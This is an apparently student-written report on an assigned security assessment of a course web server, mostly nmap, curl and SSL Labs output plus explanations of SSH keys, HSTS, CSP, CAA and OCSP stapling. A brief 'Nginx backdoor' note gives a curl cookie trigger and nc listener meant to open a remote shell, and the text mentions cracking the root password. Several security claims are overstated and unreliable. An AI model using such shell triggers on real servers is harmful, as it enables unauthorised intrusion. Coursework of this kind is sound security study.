Academic Report  
Cover Page

Sed et lacus quis enim mattis nonummy

Urna Semper

Instructor’s Name

December 15, 2020

**Part 1: Assess the System (50%)**

Using any tools you like (nmap, metasploit, SSLLabs SSL tester...) check the security of the system.  What ports are open, and what services can you see?  Are you able to access any information beyond [tcpdynamics.uk/index.html?](http://tcpdynamics.uk/index.html?)

nmap 45.76.35.230

weizhipeng@Weizhis-MacBook-Pro ~ % nmap 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 17:12 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.035s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

113/tcp filtered ident

443/tcp open https

nmap -p 22 45.76.35.230

1. Service version identification (-sV), Nmap can detect the version information of the server software during the port scan. The version information will allow for a more targeted identification of subsequent vulnerabilities.

nmap -sV 45.76.35.230 -p 22

weizhipeng@Weizhis-MacBook-Pro ~ % nmap -sV 45.76.35.230 -p 22

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 17:34 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.029s latency).

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

sh-3.2# nmap -sV 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 20:45 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.056s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

80/tcp open http nginx

113/tcp filtered ident

443/tcp open ssl/http nginx

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds

2.Operating system detection (-O), Nmap can also identify the operating system of the target host.

nmap -O 45.76.35.230

sh-3.2# nmap -O 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:38 GMT

Stats: 0:00:01 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan

Ping Scan Timing: About 100.00% done; ETC: 19:38 (0:00:00 remaining)

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.032s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

113/tcp filtered ident

443/tcp open https

Device type: general purpose

Running: Linux 5.X

OS CPE: cpe:/o:linux:linux\_kernel:5

OS details: Linux 5.0 - 5.4

Network Distance: 14 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 6.47 seconds

3. Disable host detection (-Pn). If a host blocks ping requests, Nmap may assume that the host is not powered on. This will prevent Nmap from performing further detections such as port scanning, service version identification and operating system identification. To overcome this problem, Nmap's host detection needs to be disabled. When this option is specified, Nmap will assume that the target host is powered on and will perform the full set of detections

nmap -P 45.76.35.230

weizhipeng@Weizhis-MacBook-Pro ~ % nmap -P 45.76.35.230

Warning: You are not root -- using TCP pingscan rather than ICMP

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:33 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.069s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

113/tcp filtered ident

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 2.75 seconds

4. Powerful detection option (-A), with the -A option enabled, Nmap will detect the following information about the target host

Service version identification (-sV).

Operating system identification (-O).

Script scanning (-sC).

Traceroute (-traceroute).

nmap -A 45.76.35.230

weizhipeng@Weizhis-MacBook-Pro ~ % nmap -A 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:34 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.046s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 cf:83:5d:d6:3e:d4:e1:3b:c0:04:b8:9e:34:9f:38:50 (RSA)

| 256 5f:83:26:ad:df:21:67:89:ee:9c:f4:b2:c3:a5:b6:74 (ECDSA)

|\_ 256 ca:99:11:ca:cf:3a:8b:cf:33:20:32:a2:5f:0f:ee:6e (ED25519)

80/tcp open http nginx

|\_http-title: Did not follow redirect to https://www.tcpdynamics.uk/

113/tcp filtered ident

443/tcp open ssl/http nginx

|\_http-title: tcpdynamics

| ssl-cert: Subject: commonName=tcpdynamics.uk

| Subject Alternative Name: DNS:tcpdynamics.uk, DNS:www.tcpdynamics.uk

| Not valid before: 2020-12-07T09:05:40

|\_Not valid after: 2021-03-07T09:05:40

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.90 seconds

1.TCP Scan

nmap -sS 45.76.35.230

sh-3.2# nmap -sS 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:39 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.048s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

113/tcp filtered ident

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 4.26 seconds

nmap -p 8080 45.76.35.230

nmap 45.76.35.230 -p 1-65535

sh-3.2# nmap 45.76.35.230 -p 1-65535

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 20:40 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.038s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

113/tcp filtered ident

443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 150.35 seconds

nmap -sS 45.76.35.230

2.UDP Scan

nmap -sU 45.76.35.230

Nginx backdoor

curl 45.76.35.230 -H “Cookie:lkfakjfa0.0.0.0:9999”

nc -lv 45.76.35.230:9999

https://www.tcpdynamics.uk/images

=============================================================

**Part 1: Assess the System (50%)**

Using any tools you like (nmap, metasploit, SSLLabs SSL tester...) check the security of the system.  What ports are open, and what services can you see?  Are you able to access any information beyond [tcpdynamics.uk/index.html?](http://tcpdynamics.uk/index.html?)

1. Nmap finding

weizhipeng@Weizhis-MacBook-Pro ~ % nmap -A 45.76.35.230

Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-15 19:34 GMT

Nmap scan report for www.tcpdynamics.uk (45.76.35.230)

Host is up (0.046s latency).

Not shown: 996 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| ssh-hostkey:

| 2048 cf:83:5d:d6:3e:d4:e1:3b:c0:04:b8:9e:34:9f:38:50 (RSA)

| 256 5f:83:26:ad:df:21:67:89:ee:9c:f4:b2:c3:a5:b6:74 (ECDSA)

|\_ 256 ca:99:11:ca:cf:3a:8b:cf:33:20:32:a2:5f:0f:ee:6e (ED25519)

80/tcp open http nginx

|\_http-title: Did not follow redirect to https://www.tcpdynamics.uk/

113/tcp filtered ident

443/tcp open ssl/http nginx

|\_http-title: tcpdynamics

| ssl-cert: Subject: commonName=tcpdynamics.uk

| Subject Alternative Name: DNS:tcpdynamics.uk, DNS:www.tcpdynamics.uk

| Not valid before: 2020-12-07T09:05:40

|\_Not valid after: 2021-03-07T09:05:40

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.90 seconds

# For all the tcp ports, the server can be reached for port 22, 80 and 443.

# For port 113, Nmap cannot determine if the port is open or not. The packet filtering device blocks the probe packets we send to the target.

# Information gathering

# For SSH service

Port 22 was opened to enable the ssh connection. At the same time, namp showed that the server system was linux, so you could try to crack the root account of the connected server, as the root account password provided by Vultr is usually a secure and complex password, it takes an extremely long time to decipher it.

Encryption: to avoid leakage of data content Integrity of communication: to avoid tampering with data and spoofing of sending or receiving addresses (check that data is not tampered with and that it comes from the sender and not the attacker)

From the client side, SSH offers two levels of security authentication.

The first level (password-based security authentication)

As long as you know your account and password, you can log in to the remote host. All data transferred is encrypted, but there is no guarantee that the server you are connecting to is the one you want to connect to. It is possible that another server may be impersonating the real server, i.e. a "man-in-the-middle" type of attack.

Level 2 (key-based security)

You need to rely on a key, i.e. you have to create a pair of keys for yourself and place the public key on the server you need to access. If you want to connect to an SSH server, the client software sends a request to the server for secure authentication with your secret key. Once the server receives the request, it first looks for your public key in your home directory on that server and then compares it with the public key you sent. If the two keys match, the server encrypts a "challenge" with the public key and sends it to the client software. Once the client software receives the "challenge" it can decrypt it with your private key and send it back to the server.

In this way, you must know the password of your own key. However, in contrast to the first level, the second level does not require the transmission of the passphrase over the network.

The second level not only encrypts all data transmitted, but also makes a "man in the middle" attack impossible (because he does not have your private key). However, the entire login process can take up to 10 seconds [2].

And ssh-hostkey is found in port 22 for ssh connection.

The Host Key is a permanent asymmetric key used by the server to prove its identity, which is persistent and the Public Key of the server As the public key by definition is public this serves only informational purposes on the client and poses no vulnerability/security threat at all.

The informational purposes I mentioned might be in the line of:

prepopulating the list of known host keys for a SSH/SCP-Client

checking if the host keys of servers have changed (to trigger an investigation about the reason, for instance)

The fingerprint of a public key serves to identify that key (make it easier to recognize) because it might be difficult to see when the complete key (2048 bit = 256 characters) has been altered. The fingerprint (normally called a hash) will be completely different even if only a single bit has been changed.

SSH Explained (n.d.). Retrieved December 18, 2020, from <https://segmentfault.com/a/1190000011395818>

Hien nguyenhien nguyen 3122 silver badges44 bronze badges, Mikey T.K.Mikey T.K. 3, & Gombai SándorGombai Sándor 3. (1965, March 01). How to login ssh without a password using the ssh host key? Retrieved December 16, 2020, from https://superuser.com/questions/1038222/how-to-login-ssh-without-a-password-using-the-ssh-host-key

There are three keys for ssh, RSA, ECDSA, ED25519

For RSA, the difficulty of factoring a very large integer determines the reliability of the RSA algorithm. In other words, the more difficult it is to factor a very large integer, the more reliable the RSA algorithm is. If someone were to find a fast factorisation algorithm, then the reliability of messages encrypted with RSA would be severely reduced. But the likelihood of finding such an algorithm is very small. Today only short RSA keys can be broken in a powerful way. So far, there is no reliable way of attacking RSA algorithms in the world. A message encrypted with RSA is practically unbreakable as long as its key is long enough.

RSA (cryptosystem). (2020, December 10). Retrieved December 18, 2020, from https://en.wikipedia.org/wiki/RSA\_(cryptosystem)

For ECDSA (Elliptic Curve Digital Signature Algorithm) is an elliptic curve implementation of DSA (Digital Signature Algorithm). Elliptic curve cryptography is able to provide the same level of security as RSA with a relatively small key. It also has the disadvantage that DSA is sensitive to bad RNGs. The private key cannot be found and there is no way to forge a signature without knowing the private key, making ECDSA unbreakable. This is also used in BitCoin for security

Elliptic Curve Digital Signature Algorithm. (n.d.). Retrieved December 18, 2020, from https://en.bitcoin.it/wiki/Elliptic\_Curve\_Digital\_Signature\_Algorithm

Today, RSA is the most widely used public key algorithm for SSH keys. However, compared to Ed25519, if the key length is less than 2048 bits, it is slow to generate and is even considered insecure.

The Ed25519 public key is compact. Compared to RSA 3072, which is 544 characters long, it contains only 68 characters. Generating a key is also almost as fast as the signing process. Bulk signature verification using Ed25519 is also fast. It is designed to be collision-proof. Hash function conflicts do not break the system.

Pradana, R. (2018, October 31). Upgrade Your SSH Key to Ed25519. Retrieved December 18, 2020, from https://medium.com/risan/upgrade-your-ssh-key-to-ed25519-c6e8d60d3c54

In three keys, the RSA seems to be more easy to break, however which will take so much time for decryption. This makes the SSH secure.

# For SSL service,

The report of this website is conducted, as <https://www.ssllabs.com/ssltest/analyze.html?d=www.tcpdynamics.uk&s=45.76.35.230>

## TLS downgrade test

|  |  |
| --- | --- |
| **Downgrade attack prevention** | **Yes, TLS\_FALLBACK\_SCSV supported** ( |

In a degradation attack, the attacker deliberately causes the system to abandon newer, more secure ways of working and instead use older, less secure ways of working prepared for backwards compatibility. Degradation attacks are often used in man-in-the-middle attacks, where the security of the encrypted communication protocol is significantly weakened, allowing for attacks that would otherwise be impossible.

The server uses a separate signal suite to indicate voluntary downgrade behaviour in modern fallback defences, which requires a server that understands the signal and supports a higher protocol version to terminate the negotiation, which is TLS\_FALLBACK\_SCSV

Downgrade attack. (2020, July 20). Retrieved December 18, 2020, from https://en.wikipedia.org/wiki/Downgrade\_attack

For nginx service,

## http and https service

there are two ports opened for the service 80 and 443

The 80 ports is used for HTTP connection.

HTTP stands for Hyper Text Transfer Protocol and is a protocol for transferring Hyper Text Markup Language (HTML) from a web server to a local browser.HTTP was originally designed to provide a method of publishing and receiving HTML pages.

For HTTP connection, As you can see, the account passwords are transmitted in clear text, so the requests sent by the client can easily be intercepted and used by criminals. Therefore, the HTTP protocol is not suitable for the transmission of sensitive information, such as: various account numbers, passwords and other information, using the http protocol to transmit private information is very insecure.

The following problems exist in http in general.

The request information is transmitted in clear text and can be easily intercepted by eavesdropping.

The integrity of the data is not verified and can be easily tampered with

The identity of the other party is not verified and there is a risk of impersonation

For this Website, although the http port 80 is open but the connection accessing the Port 80 will be redirected to port 443 for https connection.

And for https connection, HTTPS (HyperText Transfer Protocol over Secure Socket Layer): generally understood as HTTP+SSL(Secure Socket Layer)/TLS(Transport Layer Security), authenticates the server with an SSL certificate and encrypts the communication between the browser and the server.

Although Https requires more computing resources than http and is slower at the same time, it provides secure transmission. This makes http-based stealing of information, and attacks, impossible.

## Server Vulnerability

Apart from that, as server structure always has some Vulnerability. The following detections are done manually.

### Test the version of nginx for attack

By default, when we visit a page that doesn't exist, the error page will have nginx version information on it, which will provide hackers with information to easily find the current version of the vulnerability and exploit it.

By visiting a unexist page the server gives as below

And for the nmap, it can not detect the version of server nginx.

For Error page redirection,

### Browse the catalogue/ Access to sensitive resources

Some resources we may not want to open to the public, such as some version control backup files, such as .git/.svn, etc., which may expose the entire structure of the project or the source code is leaked.

In IBM AppScan and Metasploit Test, no accessible directories were retrieved. It looks like the developer of the site, turned off the autoindex option for nginx.

### Control timeout

It can mitigate dos attacks and prevent hackers from spoofing user access to the service, causing excessive pressure on the server and filling up the bandwidth.

miracle@MSI-Studio:~$ curl -I https://www.tcpdynamics.uk/

HTTP/2 200

server: nginx

date: Fri, 18 Dec 2020 21:26:55 GMT

content-type: text/html

content-length: 94

last-modified: Mon, 07 Dec 2020 09:56:40 GMT

etag: "5fcdfc58-5e"

content-security-policy: report-uri https://batten.report-uri.com/r/d/csp/enforce; upgrade-insecure-requests; default-src 'self'; plugin-types application/pdf; frame-ancestors 'self' ; img-src 'self' https:; style-src 'self' https://www.batten.eu.org; font-src 'self' data:

strict-transport-security: max-age=31536000; includeSubDomains; preload

expect-ct: enforce,max-age=31536000,report-uri=https://batten.report-uri.com/r/d/ct/enforce;

x-xss-protection: 1; mode=block; report=https://batten.report-uri.com/r/d/xss/enforce

x-frame-options: SAMEORIGIN

x-content-type-options: nosniff

referrer-policy: no-referrer-when-downgrade

accept-ranges: bytes

There is no Keep-Alive: timeout setting found in this header. There is no finding of the timeout control which may cause Dos attack.

sh-3.2# curl -I 45.76.35.230

HTTP/1.1 301 Moved Permanently

**Server**: nginx

**Date**: Thu, 17 Dec 2020 15:19:05 GMT

**Content-Type**: text/html

**Content-Length**: 178

**Connection**: keep-alive

**Location**: https://www.tcpdynamics.uk/

**Content-Security-Policy**: report-uri https://batten.report-uri.com/r/d/csp/enforce; upgrade-insecure-requests; default-src 'self'; plugin-types application/pdf; frame-ancestors 'self' ; img-src 'self' https:; style-src 'self' https://www.batten.eu.org; font-src 'self' data:

**Strict-Transport-Security**: max-age=31536000; includeSubDomains; preload

**Expect-CT**: enforce,max-age=31536000,report-uri=https://batten.report-uri.com/r/d/ct/enforce;

**X-XSS-Protection**: 1; mode=block; report=https://batten.report-uri.com/r/d/xss/enforce

**X-Frame-Options**: SAMEORIGIN

**X-Content-Type-Options**: nosniff

**Referrer-Policy**: no-referrer-when-downgrade

Metasploit Test

Obtained 0 loots; Found 0 creds; Cracked 0 new hashes

Restricting access to sensitive resources

IBM AppScan Test

There are two url contains in this website

<http://www.tcpdynamics.uk/>

[**https://www.tcpdynamics.uk/**](https://www.tcpdynamics.uk/)

SSL Lab: <https://www.ssllabs.com/ssltest/analyze.html?d=www.tcpdynamics.uk&s=45.76.35.230>

**RSA 2048 bits (SHA256withRSA)**

**TLS downgrade test**

|  |  |
| --- | --- |
| **Downgrade attack prevention** | **Yes, TLS\_FALLBACK\_SCSV supported** ( |
| **Forward Secrecy** | **Yes (with most browsers)   ROBUST** |

TLS\_ECDHE\_RSA\_WITH\_AES\_128\_CBC\_SHA256 (0xc027)   ECDH x25519 (eq. 3072 bits RSA)   FS   **WEAK**

**Part 2: Explain the System (30%)**

Modern security is all too often a matter of patching past vulnerabilities.  The machine has been configured to use several modern features including Host-Strict-Transport-Security, Certificate Stapling and a Content Security Policy.  How have these been configured, and what is their purpose?

## For Host-Strict-Transport-Security,

The purpose of HSTS is to force a client (such as a browser) to use HTTPS to create a connection with the server. The server enables HSTS by including the Strict-Transport-Security field in the Hypertext Transfer Protocol response header returned by the server when the client makes a request via HTTPS. The HSTS field set for non-encrypted transmissions is not valid.

Some websites open https, but in order to take care of the user experience (because the user is always very lazy, generally will not actively type https, but directly enter the domain name, directly enter the domain name access, the default is http access) and also support http access, when the user http access, it will return to the user a 302 redirect, redirected to https This mode of communication seems to be fine, but a careful analysis will reveal that there is a risk that this 302 redirect may be hijacked and tampered with, and if it is changed to a malicious or phishing https site, then, you know, once it falls into the phishing site, the data is still safe to speak of?

For tampering 302 attacks, it is recommended that the server turn on HTTP Strict Transport Security, a feature that means

When a user has securely logged in to a site that has opened the hst function (sites that support hsts will insert: Strict-Transport-Security in the response header), the browser that supports hst (e.g. chrome. firefox) will automatically add the domain name to the HSTS list, and next time even if the user uses http to access this website, browsers that support the hstst feature will automatically send an https request (provided that the user has not cleared the cache, if the cache is cleared the first access is still in plaintext, subsequent browsers receiving Strict-Transport-Security in the server response header will add the domain name to the hsts cache before (converting http internally to https before sending the request), rather than sending http first and then redirecting to https, which prevents the 302 redirect URL from being tampered with halfway through. Further improving the security of the communication.

miracle@MSI-Studio:~$ curl -I http://www.tcpdynamics.uk/

HTTP/1.1 301 Moved Permanently

Server: nginx

Date: Fri, 18 Dec 2020 23:04:41 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Location: https://www.tcpdynamics.uk/

Content-Security-Policy: report-uri https://batten.report-uri.com/r/d/csp/enforce; upgrade-insecure-requests; default-src 'self'; plugin-types application/pdf; frame-ancestors 'self' ; img-src 'self' https:; style-src 'self' https://www.batten.eu.org; font-src 'self' data:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Expect-CT: enforce,max-age=31536000,report-uri=https://batten.report-uri.com/r/d/ct/enforce;

X-XSS-Protection: 1; mode=block; report=https://batten.report-uri.com/r/d/xss/enforce

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Referrer-Policy: no-referrer-when-downgrade

It shows after visiting the <http://www.tcpdynamics.uk/> then will be redirected to https connection shown as Location: <https://www.tcpdynamics.uk/>

## For a Content Security Policy,

A Content Security Policy (CSP) is an additional layer of security that detects and weakens certain specific types of attacks, including cross-site scripting (XSS) and data injection attacks, among others. Whether it is data theft, website content contamination or the distribution of malware, these attacks are the primary means of doing so.

The main goal of the CSP is to reduce and report XSS attacks, which take advantage of the browser's trust in the content fetched from the server. Malicious scripts are allowed to run in the victim's browser because the browser trusts the source of its content, even though sometimes the scripts do not come from where it is supposed to.

CSPs give server administrators the ability to reduce or eliminate the vectors on which XSS attacks rely by specifying valid domains - i.e. valid sources of executable scripts that the browser recognises. A CSP-compatible browser will only execute script files obtained from whitelisted domains, ignoring all other scripts (including inline scripts and HTML event handling attributes).

Configuring a content security policy involves adding a Content-Security-Policy HTTP header to a page and configuring the appropriate values to control which resources the user agent (browser, etc.) can fetch for that page.

In the log of the output, Content-Security-Policy: report-uri https://batten.report-uri.com/r/d/csp/enforce; upgrade-insecure-requests; default-src 'self'; plugin-types application/pdf; frame-ancestors 'self' ; img-src 'self' https:; style-src 'self' https://www.batten.eu.org; font-src 'self' data:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Shows the Content-Security-Policy of the website

It reports the log to <https://batten.report-uri.com/r/d/csp/enforce>,

default-src shows that A webmaster wants all content to come from the same source as the site (excluding its sub-domains)

img-src shows that A webmaster allows users of a web application to include images from any source in their own content, but restricts audio or video to be (obtained) from trusted sources and all scripts to be obtained from trusted code from a specific host server. And use https strictly

report-uri: To enable sending violation reports, you need to specify the report-uri policy directive and provide at least one URI address to submit the report to.

[**style-src**](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy/style-src) **: Restrict cascading style sheet file source.**

font-src: Set the source address of the font that is allowed to be loaded via @font-face.

upgrade-insecure-requests: All insecure URLs (accessed via HTTP) of a website are replaced by secure URL links (accessed via HTTPS) by the browser. This directive is intended for sites with a large number of unsafe legacy URLs that need to be rewritten.

frame-ancestors: Specify a valid parent <frame>, <iframe>, <object>, <embed>, or <applet> that may be embedded in the page.

Web technology for developers. (n.d.). Retrieved December 19, 2020, from https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

**Part 3: Extend the System (20%)**

There are several modern features that have not been configured: they are the sort of things that are a good idea, but have particular technical issues surrounding their installation which makes it slightly trickier to do.  This system does not have the benefit of a CAA record (my name registry does not make it easy to configure without using a third-party DNS solution) or enforced OCSP Stapling (mostly because I forgot).   What would be the benefits of these mechanisms?  Can you design an attack on the server which uses these omissions?   Do **not** actually carry these attacks out: the obvious mechanisms are, in the UK at least, illegal.

## For CAA Records

CAA (Certification Authority Authorization) is a security measure to prevent HTTPS certificates from being issued incorrectly, in compliance with IETF RFC6844. as of 8 September 2017, CAs (Certification Authorities) are required to Certificate Authority) authorities to perform mandatory CAA checks.

Using CAA records to prevent domain name certificate hijacking, to prove the identity of the website.

CAA Records. (n.d.). Retrieved December 19, 2020, from https://support.dnsimple.com/articles/caa-record/

## For enforced OCSP Stapling

OCSP (Online Certificate Status Protocol) is an online query service used to verify the legitimacy of a certificate, typically provided by the CA to which the certificate belongs. The OCSP query is essentially a complete HTTP request-response, which can take a long time for the DNS query, TCP establishment and server processing, resulting in a longer time to establish a TLS connection. which can take a long time to establish a TLS connection.

OCSP Stapling, on the other hand, means that the server actively obtains the OCSP query result and sends it to the client along with the certificate, thus allowing the client to skip the verification process itself and improving the efficiency of the TLS handshake.

OCSP (Online Certificate Status Protocol) is an online certificate query interface, which establishes a real-time response mechanism, allowing browsers to send query requests to the CA server, and then the CA server responds in real time to verify whether the certificate is legal and valid, so that the validity of each certificate can be queried in real time, solving the real-time problem of CRL.

However, OCSP has two other issues: privacy and performance issues on the CA server.

Because OCSP compromises privacy by requiring browsers to directly request a third-party CA to confirm the validity of a certificate, the CA knows what sites have visited the CA and which users have visited the site. This data is particularly sensitive for multinational business sites or government and corporate sites.

On the other hand, some clients will query the OCSP interface in real time during the SSL handshake and block the subsequent process until they get the query result, which can cause long page gaps when the network is poor (especially inland), degrading HTTPS performance and seriously affecting the user experience. Deploying OCSP Stapling on the server will solve these problems.

OCSP Stapling

OCSP Stapling was created to address OCSP privacy and performance issues. The principle is that the web server will query the OCSP server itself and cache the response, and then return it to the browser when it makes a TLS connection to the browser, so that the browser does not need to query it again. As a result, the browser client no longer has to disclose the user's browsing habits to any third party, solving the privacy issue perfectly. At the same time, when a client initiates an SSL handshake request to the server, the server sends the OCSP information of the certificate to the client along with the certificate chain, thus avoiding the blocking problem that can be caused by client authentication and improving HTTPS performance. Since OCSP responses cannot be forged, there are no additional security issues associated with this process.

Therefore, deploying OCSP Stapling on the server can greatly improve the security and stability of your website, making it faster to access and improving the user experience.

Sullivan, N. (2018, August 29). High-reliability OCSP stapling and why it matters. Retrieved December 19, 2020, from https://blog.cloudflare.com/high-reliability-ocsp-stapling/

Submit a PDF containing your report, written in a style which would be usable by a CSO to improve their security.  it should be no more than 8 pages in length, and should not contain lengthy screen captures: explain, don't show.